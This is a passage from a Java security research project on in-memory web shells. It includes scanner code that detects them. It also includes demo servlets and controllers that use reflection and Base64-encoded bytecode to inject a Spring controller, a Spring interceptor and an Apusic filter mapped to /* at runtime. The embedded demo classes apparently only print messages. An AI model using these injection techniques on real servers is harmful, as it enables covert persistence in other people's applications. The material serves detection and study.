115 | mv.visitInsn(IRETURN);
116 | }
117 |
118 | /**
119 | * 传入下一个 Valve 并 return
120 | * Tomcat Valve 内存马可以这么做
121 | * this.getNext().invoke($1,$2);return;
122 | */
123 | public void hookValve() {
124 | mv.visitVarInsn(ALOAD, 0);
125 | mv.visitMethodInsn(INVOKEVIRTUAL, "org/apache/catalina/Valve", "getNext", "()Lorg/apache/catalina/Valve;", false);
126 | mv.visitVarInsn(ALOAD, 1);
127 | mv.visitVarInsn(ALOAD, 2);
128 | mv.visitMethodInsn(INVOKEINTERFACE, "org/apache/catalina/Valve", "invoke", "(Lorg/apache/catalina/connector/Request;Lorg/apache/catalina/connector/Response;)V", true);
129 | mv.visitInsn(RETURN);
130 | }
131 |
132 | /**
133 | * 调用 super 并返回
134 | * Grizzly Filter 内存马可以这么做
135 | * return super.handleRead($1);
136 | */
137 | public void hookGrizzly() {
138 | mv.visitVarInsn(ALOAD, 0);
139 | mv.visitVarInsn(ALOAD, 1);
140 | mv.visitMethodInsn(INVOKESPECIAL, "org/glassfish/grizzly/filterchain/BaseFilter", "handleRead", "(Lorg/glassfish/grizzly/filterchain/FilterChainContext;)Lorg/glassfish/grizzly/filterchain/NextAction;", false);
141 | mv.visitInsn(ARETURN);
142 | }
143 | }
--------------------------------------------------------------------------------
/memshell-scanner/src/main/java/org/su18/memshell/scanner/common/MemoryShellType.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.scanner.common;
2 |
3 | /**
4 | * @author su18
5 | */
6 | public enum MemoryShellType {
7 | /**
8 | * 内存马类型
9 | */
10 | SERVLET("javax.servlet.Servlet", "service"),
11 | FILTER("javax.servlet.Filter", "doFilter"),
12 | LISTENER("javax.servlet.ServletRequestListener", "request"),
13 | INTERCEPTOR("org.springframework.web.servlet.HandlerInterceptor", "preHandle"),
14 | CONTROLLER("org.springframework.stereotype.Controller", "null"),
15 | VALVE("org.apache.catalina.Valve", "invoke"),
16 | GRIZZLY("org.glassfish.grizzly.filterchain.Filter", "handle");
17 |
18 |
19 | /**
20 | * hook 类型
21 | */
22 | private final String hook;
23 |
24 | /**
25 | * hook 方法
26 | */
27 | private final String method;
28 |
29 |
30 | MemoryShellType(String hookClass, String hookMethod) {
31 | this.hook = hookClass;
32 | this.method = hookMethod;
33 | }
34 |
35 | public String getHook() {
36 | return hook;
37 | }
38 |
39 | public String getMethod() {
40 | return method;
41 | }
42 | }
43 |
--------------------------------------------------------------------------------
/memshell-scanner/src/main/java/org/su18/memshell/scanner/utils/ClassUtils.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.scanner.utils;
2 |
3 | import org.apache.commons.io.IOUtils;
4 | import org.objectweb.asm.ClassReader;
5 | import org.objectweb.asm.Opcodes;
6 |
7 | import java.io.IOException;
8 | import java.io.InputStream;
9 | import java.lang.annotation.Annotation;
10 | import java.net.URL;
11 | import java.util.*;
12 |
13 | import static org.su18.memshell.loader.commons.Constants.AGENT_NAME;
14 |
15 | /**
16 | * @author su18
17 | */
18 | public class ClassUtils {
19 |
20 | /**
21 | * 转换成Java内部命名方式
22 | *
23 | * @param className 类名
24 | * @return Java类格式的类名称
25 | */
26 | public static String toJavaName(String className) {
27 | return className.replace("/", ".");
28 | }
29 |
30 |
31 | /**
32 | * 获取用于ASM调用的类名称
33 | *
34 | * @param className 类名
35 | * @return ASM格式的Java类名称
36 | */
37 | public static String toAsmClassName(String className) {
38 | return className.replace(".", "/");
39 | }
40 |
41 |
42 | /**
43 | * 获取一个类的所有父类和实现的接口
44 | *
45 | * @param clazz 类
46 | * @param classLoader 类加载
47 | * @return 父类集合
48 | */
49 | public static Set getSuperClassListByAsm(Class> clazz, ClassLoader classLoader) {
50 | Set superClassList = new LinkedHashSet();
51 | String objectClassName = Object.class.getName();
52 |
53 | // 先使用 class 获取接口
54 | getAllFather(clazz, superClassList);
55 |
56 | try {
57 | getSuperClassListByAsm(clazz.getName(), classLoader, superClassList);
58 |
59 | // 把Object的位置放到最后,方便父类检测
60 | for (Iterator it = superClassList.iterator(); it.hasNext(); ) {
61 | String name = it.next();
62 |
63 | if (objectClassName.equals(name)) {
64 | it.remove();
65 | }
66 | }
67 |
68 | superClassList.add(objectClassName);
69 | } catch (Exception e) {
70 | e.printStackTrace();
71 | }
72 |
73 | return superClassList;
74 | }
75 |
76 | public static Set getSuperClassListByAsm(String className, ClassLoader classLoader) {
77 | Set superClassList = new LinkedHashSet();
78 | String objectClassName = Object.class.getName();
79 |
80 | try {
81 | getSuperClassListByAsm(className, classLoader, superClassList);
82 |
83 | // 把Object的位置放到最后,方便父类检测
84 | for (Iterator it = superClassList.iterator(); it.hasNext(); ) {
85 | String name = it.next();
86 |
87 | if (objectClassName.equals(name)) {
88 | it.remove();
89 | }
90 | }
91 |
92 | superClassList.add(objectClassName);
93 | } catch (Exception e) {
94 | e.printStackTrace();
95 | }
96 |
97 | return superClassList;
98 | }
99 |
100 | /**
101 | * 获取一个类的所有父类和实现的接口
102 | *
103 | * @param className 类名
104 | * @param loader 类加载器
105 | * @param superClassList 父类集合
106 | */
107 | public static void getSuperClassListByAsm(String className, ClassLoader loader, Set superClassList) {
108 | if (className != null) {
109 | try {
110 | // 如果传入类加载器为空,默认使用SystemClassLoader
111 | if (loader == null) {
112 | loader = ClassLoader.getSystemClassLoader();
113 | }
114 |
115 | superClassList.add(className);
116 | byte[] classBytes = getClassBytes(className, loader);
117 |
118 | // 忽略无法找到类字节码的class
119 | if (classBytes != null) {
120 | ClassReader classReader = new ClassReader(classBytes);
121 |
122 | // 父类
123 | String superClass = classReader.getSuperName();
124 | // 父接口
125 | String[] interfaces = classReader.getInterfaces();
126 |
127 | List ls = new ArrayList();
128 |
129 | // 添加父类
130 | if (superClass != null) {
131 | ls.add(superClass);
132 | }
133 |
134 | // 添加父类的所有接口
135 | Collections.addAll(ls, interfaces);
136 |
137 | // 遍历所有父类和接口
138 | for (String clazz : ls) {
139 | getSuperClassListByAsm(toJavaName(clazz), loader, superClassList);
140 | }
141 | }
142 | } catch (Exception e) {
143 | System.err.println(AGENT_NAME + "获取" + className + "类的父类异常");
144 | e.printStackTrace();
145 | }
146 | }
147 | }
148 |
149 | /**
150 | * 查找类对象,获取类字节码
151 | *
152 | * @param className 类名
153 | * @param classLoader 类加载器
154 | * @return 类字节码数组
155 | */
156 | public static byte[] getClassBytes(String className, ClassLoader classLoader) {
157 | InputStream in = null;
158 |
159 | try {
160 | if (className.startsWith("[")) {
161 | return null;
162 | }
163 |
164 | String classRes = toAsmClassName(className) + ".class";
165 |
166 | in = ClassLoader.getSystemResourceAsStream(classRes);
167 |
168 | if (classLoader != null && in == null) {
169 | in = classLoader.getResourceAsStream(classRes);
170 | }
171 |
172 | if (in != null) {
173 | return IOUtils.toByteArray(in);
174 | }
175 | return null;
176 | } catch (IOException e) {
177 | return null;
178 | } finally {
179 | IOUtils.closeQuietly(in);
180 | }
181 | }
182 |
183 |
184 | /**
185 | * 打印 Class 信息
186 | *
187 | * @param clazz Class 类
188 | * @return 返回字符串
189 | */
190 | public static String getClassInfo(Class> clazz) {
191 |
192 | return String.format("|%80s|\n", "||||| Class Details |||||") +
193 | String.format("|%-80s|\n", " Class Name:" + clazz.getName()) +
194 | String.format("|%-80s|\n", " Class Loader:" + clazz.getClassLoader().getClass().getName()) +
195 | String.format("|%-80s|\n", " Resource Url:" + clazz.getClassLoader().getResource(clazz.getName())) +
196 | String.format("|%-80s|\n", " Interfaces name:" +
197 | (clazz.getInterfaces().length > 0 ? clazz.getInterfaces()[0].getName() : "")) +
198 | String.format("|%-80s|\n", " Super Class Name:" + clazz.getSuperclass().getName()) +
199 | String.format("|----------%70s|\n", "----------");
200 | }
201 |
202 | /**
203 | * 判断目标类是否使用 List 中的注解
204 | *
205 | * @param clazz Class
206 | * @param annotations 注解 List
207 | * @return 返回布尔值
208 | */
209 | public static Boolean isUseAnnotations(Class> clazz, List annotations) {
210 | try {
211 | Annotation[] da = clazz.getDeclaredAnnotations();
212 | if (da.length > 0) {
213 | for (Annotation annotation : da) {
214 | for (String aa : annotations) {
215 | if (annotation.annotationType().getName().equals(aa)) {
216 | return true;
217 | }
218 | }
219 | }
220 | }
221 | } catch (Throwable ignored) {
222 |
223 | }
224 | return false;
225 | }
226 |
227 | /**
228 | * 检查目标类是否存在对应的 Resource
229 | *
230 | * @param clazz Class
231 | * @return 返回布尔值
232 | */
233 | public static Boolean checkClassIsNotExists(Class> clazz) {
234 |
235 | String className = clazz.getName();
236 | String classNamePath = className.replace(".", "/") + ".class";
237 | ClassLoader loader = clazz.getClassLoader();
238 | if (loader == null) {
239 | loader = ClassLoader.getSystemClassLoader();
240 | }
241 |
242 | URL isExists = loader.getResource(classNamePath);
243 | if (isExists == null) {
244 | return Boolean.TRUE;
245 | }
246 |
247 | return Boolean.FALSE;
248 |
249 | }
250 |
251 | public static void getAllFather(Class> clazz, Set set) {
252 | Class>[] interfaces = clazz.getInterfaces();
253 | Class> superClass = clazz.getSuperclass();
254 |
255 | if (superClass != null) {
256 | set.add(superClass.getName());
257 | getAllFather(superClass, set);
258 | }
259 |
260 | for (Class> anInterface : interfaces) {
261 | set.add(anInterface.getName());
262 | getAllFather(anInterface, set);
263 | }
264 | }
265 | }
266 |
267 |
--------------------------------------------------------------------------------
/memshell-spring/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
5 |
6 | MemoryShell
7 | org.su18
8 | 1.0.0
9 |
10 | 4.0.0
11 |
12 | memshell-spring
13 |
14 |
15 |
16 | org.springframework
17 | spring-webmvc
18 | 5.2.3.RELEASE
19 |
20 |
21 | javax.servlet
22 | javax.servlet-api
23 | 3.1.0
24 | provided
25 |
26 |
27 |
28 |
29 | 8
30 | 8
31 |
32 |
33 |
--------------------------------------------------------------------------------
/memshell-spring/src/main/java/org/su18/memshell/spring/controller/AddController.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.spring.controller;
2 |
3 | import org.springframework.stereotype.Controller;
4 | import org.springframework.web.bind.annotation.GetMapping;
5 | import org.springframework.web.bind.annotation.RequestMapping;
6 | import org.springframework.web.context.WebApplicationContext;
7 | import org.springframework.web.context.request.RequestContextHolder;
8 | import org.springframework.web.context.request.ServletRequestAttributes;
9 | import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
10 | import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
11 | import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
12 | import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
13 | import org.springframework.web.servlet.support.RequestContextUtils;
14 |
15 | import javax.servlet.http.HttpServletRequest;
16 | import javax.servlet.http.HttpServletResponse;
17 | import java.lang.reflect.Field;
18 | import java.lang.reflect.Method;
19 | import java.util.Map;
20 |
21 | import static org.su18.memshell.spring.controller.DynamicUtils.CONTROLLER_CLASS_STRING;
22 |
23 | /**
24 | * 访问此接口动态添加 controller
25 | *
26 | * @author su18
27 | */
28 | @Controller
29 | @RequestMapping(value = "/add")
30 | public class AddController {
31 |
32 | @GetMapping()
33 | public void index(HttpServletRequest request, HttpServletResponse response) throws Exception {
34 |
35 | final String controllerPath = "/su18";
36 |
37 | // 获取当前应用上下文
38 | WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
39 |
40 | // 通过 context 获取 RequestMappingHandlerMapping 对象
41 | RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);
42 |
43 | // 获取父类的 MappingRegistry 属性
44 | Field f = mapping.getClass().getSuperclass().getSuperclass().getDeclaredField("mappingRegistry");
45 | f.setAccessible(true);
46 | Object mappingRegistry = f.get(mapping);
47 |
48 | // 反射调用 MappingRegistry 的 register 方法
49 | Class> c = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry");
50 |
51 | Method[] ms = c.getDeclaredMethods();
52 |
53 | // 判断当前路径是否已经添加
54 | Field field = c.getDeclaredField("urlLookup");
55 | field.setAccessible(true);
56 |
57 | Map urlLookup = (Map) field.get(mappingRegistry);
58 | for (String urlPath : urlLookup.keySet()) {
59 | if (controllerPath.equals(urlPath)) {
60 | response.getWriter().println("controller url path exist already");
61 | return;
62 | }
63 | }
64 |
65 | // 初始化一些注册需要的信息
66 | PatternsRequestCondition url = new PatternsRequestCondition(controllerPath);
67 | RequestMethodsRequestCondition condition = new RequestMethodsRequestCondition();
68 | RequestMappingInfo info = new RequestMappingInfo(url, condition, null, null, null, null, null);
69 |
70 | Class> myClass = DynamicUtils.getClass(CONTROLLER_CLASS_STRING);
71 |
72 | for (Method method : ms) {
73 | if ("register".equals(method.getName())) {
74 | // 反射调用 MappingRegistry 的 register 方法注册 TestController 的 index
75 | method.setAccessible(true);
76 | method.invoke(mappingRegistry, info, myClass.newInstance(), myClass.getMethods()[0]);
77 | response.getWriter().println("spring controller add");
78 | }
79 | }
80 | }
81 | }
82 |
--------------------------------------------------------------------------------
/memshell-spring/src/main/java/org/su18/memshell/spring/controller/AddInterceptor.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.spring.controller;
2 |
3 | import org.springframework.stereotype.Controller;
4 | import org.springframework.web.bind.annotation.GetMapping;
5 | import org.springframework.web.bind.annotation.RequestMapping;
6 | import org.springframework.web.context.WebApplicationContext;
7 | import org.springframework.web.context.request.RequestContextHolder;
8 | import org.springframework.web.context.request.ServletRequestAttributes;
9 | import org.springframework.web.servlet.HandlerInterceptor;
10 | import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
11 | import org.springframework.web.servlet.support.RequestContextUtils;
12 |
13 | import javax.servlet.http.HttpServletRequest;
14 | import javax.servlet.http.HttpServletResponse;
15 | import java.lang.reflect.Field;
16 | import java.util.List;
17 |
18 | import static org.su18.memshell.spring.controller.DynamicUtils.INTERCEPTOR_CLASS_STRING;
19 |
20 | /**
21 | * 访问此接口动态添加 Interceptor
22 | *
23 | * @author su18
24 | */
25 | @Controller
26 | @RequestMapping(value = "/addInterceptor")
27 | public class AddInterceptor {
28 |
29 | @GetMapping()
30 | public void index(HttpServletRequest request, HttpServletResponse response) throws Exception {
31 |
32 | // 获取当前应用上下文
33 | WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
34 |
35 | // 通过 context 获取 RequestMappingHandlerMapping 对象
36 | RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);
37 |
38 | // 为什么写三个 getSuperclass ?就是玩~
39 | Field f = mapping.getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredField("adaptedInterceptors");
40 | f.setAccessible(true);
41 | List list = (List) f.get(mapping);
42 | list.add((HandlerInterceptor) DynamicUtils.getClass(INTERCEPTOR_CLASS_STRING).newInstance());
43 | response.getWriter().println("interceptor added");
44 |
45 |
46 | }
47 | }
--------------------------------------------------------------------------------
/memshell-spring/src/main/java/org/su18/memshell/spring/controller/DynamicUtils.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.spring.controller;
2 |
3 | import sun.misc.BASE64Decoder;
4 |
5 | import java.io.IOException;
6 | import java.lang.reflect.InvocationTargetException;
7 | import java.lang.reflect.Method;
8 |
9 | /**
10 | * @author su18
11 | */
12 | public class DynamicUtils {
13 |
14 |
15 | public static String CONTROLLER_CLASS_STRING = "yv66vgAAADQALQoABgAeCwAfACAIACEKACIAIwcAJAcAJQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAvTG9yZy9zdTE4L21lbXNoZWxsL3NwcmluZy9vdGhlci9UZXN0Q29udHJvbGxlcjsBAAVpbmRleAEAUihMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7KVYBAAdyZXF1ZXN0AQAnTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQAIcmVzcG9uc2UBAChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7AQAKRXhjZXB0aW9ucwcAJgEAGVJ1bnRpbWVWaXNpYmxlQW5ub3RhdGlvbnMBADRMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvYmluZC9hbm5vdGF0aW9uL0dldE1hcHBpbmc7AQAKU291cmNlRmlsZQEAE1Rlc3RDb250cm9sbGVyLmphdmEBACtMb3JnL3NwcmluZ2ZyYW1ld29yay9zdGVyZW90eXBlL0NvbnRyb2xsZXI7AQA4TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2JpbmQvYW5ub3RhdGlvbi9SZXF1ZXN0TWFwcGluZzsBAAV2YWx1ZQEABS9zdTE4DAAHAAgHACcMACgAKQEADXN1MTggaXMgaGVyZX4HACoMACsALAEALW9yZy9zdTE4L21lbXNoZWxsL3NwcmluZy9vdGhlci9UZXN0Q29udHJvbGxlcgEAEGphdmEvbGFuZy9PYmplY3QBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAACAAEABwAIAAEACQAAAC8AAQABAAAABSq3AAGxAAAAAgAKAAAABgABAAAAEQALAAAADAABAAAABQAMAA0AAAABAA4ADwADAAkAAABOAAIAAwAAAAwsuQACAQASA7YABLEAAAACAAoAAAAKAAIAAAAVAAsAFgALAAAAIAADAAAADAAMAA0AAAAAAAwAEAARAAEAAAAMABIAEwACABQAAAAEAAEAFQAWAAAABgABABcAAAACABgAAAACABkAFgAAABIAAgAaAAAAGwABABxbAAFzAB0=";
16 |
17 | public static String INTERCEPTOR_CLASS_STRING = "yv66vgAAADQAKwoABgAbCwAcAB0IAB4KAB8AIAcAIQcAIgcAIwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAwTG9yZy9zdTE4L21lbXNoZWxsL3NwcmluZy9vdGhlci9UZXN0SW50ZXJjZXB0b3I7AQAJcHJlSGFuZGxlAQBkKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTtMamF2YS9sYW5nL09iamVjdDspWgEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAAdoYW5kbGVyAQASTGphdmEvbGFuZy9PYmplY3Q7AQAKRXhjZXB0aW9ucwcAJAEAClNvdXJjZUZpbGUBABRUZXN0SW50ZXJjZXB0b3IuamF2YQwACAAJBwAlDAAmACcBABBpJ20gaW50ZXJjZXB0b3J+BwAoDAApACoBAC5vcmcvc3UxOC9tZW1zaGVsbC9zcHJpbmcvb3RoZXIvVGVzdEludGVyY2VwdG9yAQAQamF2YS9sYW5nL09iamVjdAEAMm9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvSGFuZGxlckludGVyY2VwdG9yAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBABNqYXZhL2lvL1ByaW50V3JpdGVyAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgAhAAUABgABAAcAAAACAAEACAAJAAEACgAAAC8AAQABAAAABSq3AAGxAAAAAgALAAAABgABAAAACwAMAAAADAABAAAABQANAA4AAAABAA8AEAACAAoAAABZAAIABAAAAA0suQACAQASA7YABASsAAAAAgALAAAACgACAAAADwALABAADAAAACoABAAAAA0ADQAOAAAAAAANABEAEgABAAAADQATABQAAgAAAA0AFQAWAAMAFwAAAAQAAQAYAAEAGQAAAAIAGg==";
18 |
19 | public static Class> getClass(String classCode) throws IOException, InvocationTargetException, IllegalAccessException, NoSuchMethodException, InstantiationException {
20 | ClassLoader loader = Thread.currentThread().getContextClassLoader();
21 | BASE64Decoder base64Decoder = new BASE64Decoder();
22 | byte[] bytes = base64Decoder.decodeBuffer(classCode);
23 |
24 | Method method = null;
25 | Class> clz = loader.getClass();
26 | while (method == null && clz != Object.class) {
27 | try {
28 | method = clz.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
29 | } catch (NoSuchMethodException ex) {
30 | clz = clz.getSuperclass();
31 | }
32 | }
33 |
34 | if (method != null) {
35 | method.setAccessible(true);
36 | return (Class>) method.invoke(loader, bytes, 0, bytes.length);
37 | }
38 |
39 | return null;
40 |
41 | }
42 | }
43 |
--------------------------------------------------------------------------------
/memshell-spring/src/main/java/org/su18/memshell/spring/controller/IndexController.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.spring.controller;
2 |
3 | import org.springframework.stereotype.Controller;
4 | import org.springframework.web.bind.annotation.GetMapping;
5 | import org.springframework.web.bind.annotation.RequestMapping;
6 |
7 | import javax.servlet.http.HttpServletRequest;
8 | import javax.servlet.http.HttpServletResponse;
9 |
10 | /**
11 | * spring index controller
12 | *
13 | * @author su18
14 | */
15 | @Controller
16 | @RequestMapping(value = "/index")
17 | public class IndexController {
18 |
19 | @GetMapping()
20 | public void index(HttpServletRequest request, HttpServletResponse response) throws Exception {
21 | response.getWriter().println("spring index controller");
22 | }
23 |
24 | }
25 |
--------------------------------------------------------------------------------
/memshell-spring/web/WEB-INF/applicationContext.xml:
--------------------------------------------------------------------------------
1 |
2 |
5 |
6 |
--------------------------------------------------------------------------------
/memshell-spring/web/WEB-INF/dispatcher-servlet.xml:
--------------------------------------------------------------------------------
1 |
2 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
--------------------------------------------------------------------------------
/memshell-spring/web/WEB-INF/web.xml:
--------------------------------------------------------------------------------
1 |
2 |
6 |
7 | contextConfigLocation
8 | /WEB-INF/applicationContext.xml
9 |
10 |
11 | org.springframework.web.context.ContextLoaderListener
12 |
13 |
14 | dispatcher
15 | org.springframework.web.servlet.DispatcherServlet
16 |
17 | contextConfigLocation
18 | WEB-INF/dispatcher-servlet.xml
19 |
20 | 1
21 |
22 |
23 | dispatcher
24 | /
25 |
26 |
--------------------------------------------------------------------------------
/memshell-test/memshell-test-apusic/src/org/su18/memshell/test/apusic/AddApusicFilter.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.test.apusic;
2 |
3 | import com.apusic.deploy.runtime.FilterMapping;
4 | import com.apusic.deploy.runtime.FilterModel;
5 | import com.apusic.deploy.runtime.WebModule;
6 | import com.apusic.web.container.WebContainer;
7 |
8 | import javax.servlet.Filter;
9 | import javax.servlet.ServletException;
10 | import javax.servlet.http.HttpServlet;
11 | import javax.servlet.http.HttpServletRequest;
12 | import javax.servlet.http.HttpServletResponse;
13 | import java.io.IOException;
14 | import java.lang.reflect.Constructor;
15 | import java.lang.reflect.Field;
16 | import java.lang.reflect.Method;
17 | import java.util.Map;
18 |
19 | import static org.su18.memshell.test.apusic.DynamicUtils.FILTER_CLASS_STRING;
20 |
21 | /**
22 | * AAS ≈ GlassFish ,在其基础上稍微改改
23 | * 测试版本 AAS Enterprise Edition 9.0
24 | *
25 | * @author su18
26 | */
27 | public class AddApusicFilter extends HttpServlet {
28 |
29 | @Override
30 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
31 |
32 | String filterName = "su18ApusicFilter";
33 | WebContainer context = (WebContainer) req.getServletContext();
34 |
35 | try {
36 | Field f = context.getClass().getDeclaredField("webapp");
37 | f.setAccessible(true);
38 | WebModule webapp = (WebModule) f.get(context);
39 |
40 | Class> filterClass = DynamicUtils.getClass(FILTER_CLASS_STRING);
41 |
42 | FilterModel model = new FilterModel(webapp);
43 | model.setFilterClass(filterClass.getName());
44 | model.setDisplayName(filterName);
45 | model.setInstance((Filter) filterClass.newInstance());
46 | model.setName(filterName);
47 | webapp.addFilter(model);
48 |
49 | Field f2 = webapp.getClass().getDeclaredField("filters");
50 | f2.setAccessible(true);
51 | Map map = (Map) f2.get(webapp);
52 |
53 |
54 | map.put(filterName, model);
55 |
56 | // 创建 FilterMap 对象
57 | FilterMapping filterMap = new FilterMapping();
58 | filterMap.setFilterName(filterName);
59 | filterMap.setUrlPattern("/*");
60 | filterMap.setServletName("IndexServlet");
61 |
62 | webapp.addFilterMapping(filterMap);
63 |
64 |
65 | Field f4 = context.getClass().getDeclaredField("filters");
66 | f4.setAccessible(true);
67 | Map mapp = (Map) f4.get(context);
68 |
69 | Class c1 = Class.forName("com.apusic.web.container.FilterComponent");
70 | Constructor constructor = c1.getDeclaredConstructors()[0];
71 | constructor.setAccessible(true);
72 |
73 | mapp.put(filterName, constructor.newInstance(context, model));
74 |
75 | Field f3 = context.getClass().getDeclaredField("filterMapper");
76 | f3.setAccessible(true);
77 | Object mapper = f3.get(context);
78 |
79 | Class c = Class.forName("com.apusic.web.container.FilterMapper");
80 | Field f5 = c.getDeclaredField("patternMappings");
81 | f5.setAccessible(true);
82 | Object[] mappings = (Object[]) f5.get(mapper);
83 |
84 | Class c3 = Class.forName("com.apusic.web.container.FilterMapper$Mapping");
85 | Constructor constructor1 = c3.getDeclaredConstructors()[0];
86 | constructor1.setAccessible(true);
87 | Object o = constructor1.newInstance(filterName, 2);
88 |
89 | Method m = c3.getDeclaredMethod("setUrlPattern", String.class);
90 | m.setAccessible(true);
91 | m.invoke(o, "/*");
92 |
93 | mappings[0] = o;
94 |
95 | resp.getWriter().println("apusic filter added");
96 |
97 | } catch (Exception e) {
98 | e.printStackTrace();
99 | }
100 |
101 | }
102 | }
--------------------------------------------------------------------------------
/memshell-test/memshell-test-apusic/src/org/su18/memshell/test/apusic/DynamicUtils.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.test.apusic;
2 |
3 | import sun.misc.BASE64Decoder;
4 |
5 | import java.io.IOException;
6 | import java.lang.reflect.InvocationTargetException;
7 | import java.lang.reflect.Method;
8 |
9 | /**
10 | * @author su18
11 | */
12 | public class DynamicUtils {
13 |
14 |
15 | public static String FILTER_CLASS_STRING = "yv66vgAAADQANwoABwAiCwAjACQIACUKACYAJwsAKAApBwAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACpMb3JnL3N1MTgvbWVtc2hlbGwvdGVzdC90b21jYXQvVGVzdEZpbHRlcjsBAARpbml0AQAfKExqYXZheC9zZXJ2bGV0L0ZpbHRlckNvbmZpZzspVgEADGZpbHRlckNvbmZpZwEAHExqYXZheC9zZXJ2bGV0L0ZpbHRlckNvbmZpZzsBAAhkb0ZpbHRlcgEAWyhMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7TGphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW47KVYBAA5zZXJ2bGV0UmVxdWVzdAEAHkxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAD3NlcnZsZXRSZXNwb25zZQEAH0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAtmaWx0ZXJDaGFpbgEAG0xqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluOwEACkV4Y2VwdGlvbnMHAC0HAC4BAAdkZXN0cm95AQAKU291cmNlRmlsZQEAD1Rlc3RGaWx0ZXIuamF2YQwACQAKBwAvDAAwADEBAA90aGlzIGlzIEZpbHRlciAHADIMADMANAcANQwAFAA2AQAob3JnL3N1MTgvbWVtc2hlbGwvdGVzdC90b21jYXQvVGVzdEZpbHRlcgEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZheC9zZXJ2bGV0L0ZpbHRlcgEAE2phdmEvaW8vSU9FeGNlcHRpb24BAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABlqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluAQBAKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgAhAAYABwABAAgAAAAEAAEACQAKAAEACwAAAC8AAQABAAAABSq3AAGxAAAAAgAMAAAABgABAAAACQANAAAADAABAAAABQAOAA8AAAABABAAEQABAAsAAAA1AAAAAgAAAAGxAAAAAgAMAAAABgABAAAAEgANAAAAFgACAAAAAQAOAA8AAAAAAAEAEgATAAEAAQAUABUAAgALAAAAZAADAAQAAAAULLkAAgEAEgO2AAQtKyy5AAUDALEAAAACAAwAAAAOAAMAAAAfAAsAIQATACIADQAAACoABAAAABQADgAPAAAAAAAUABYAFwABAAA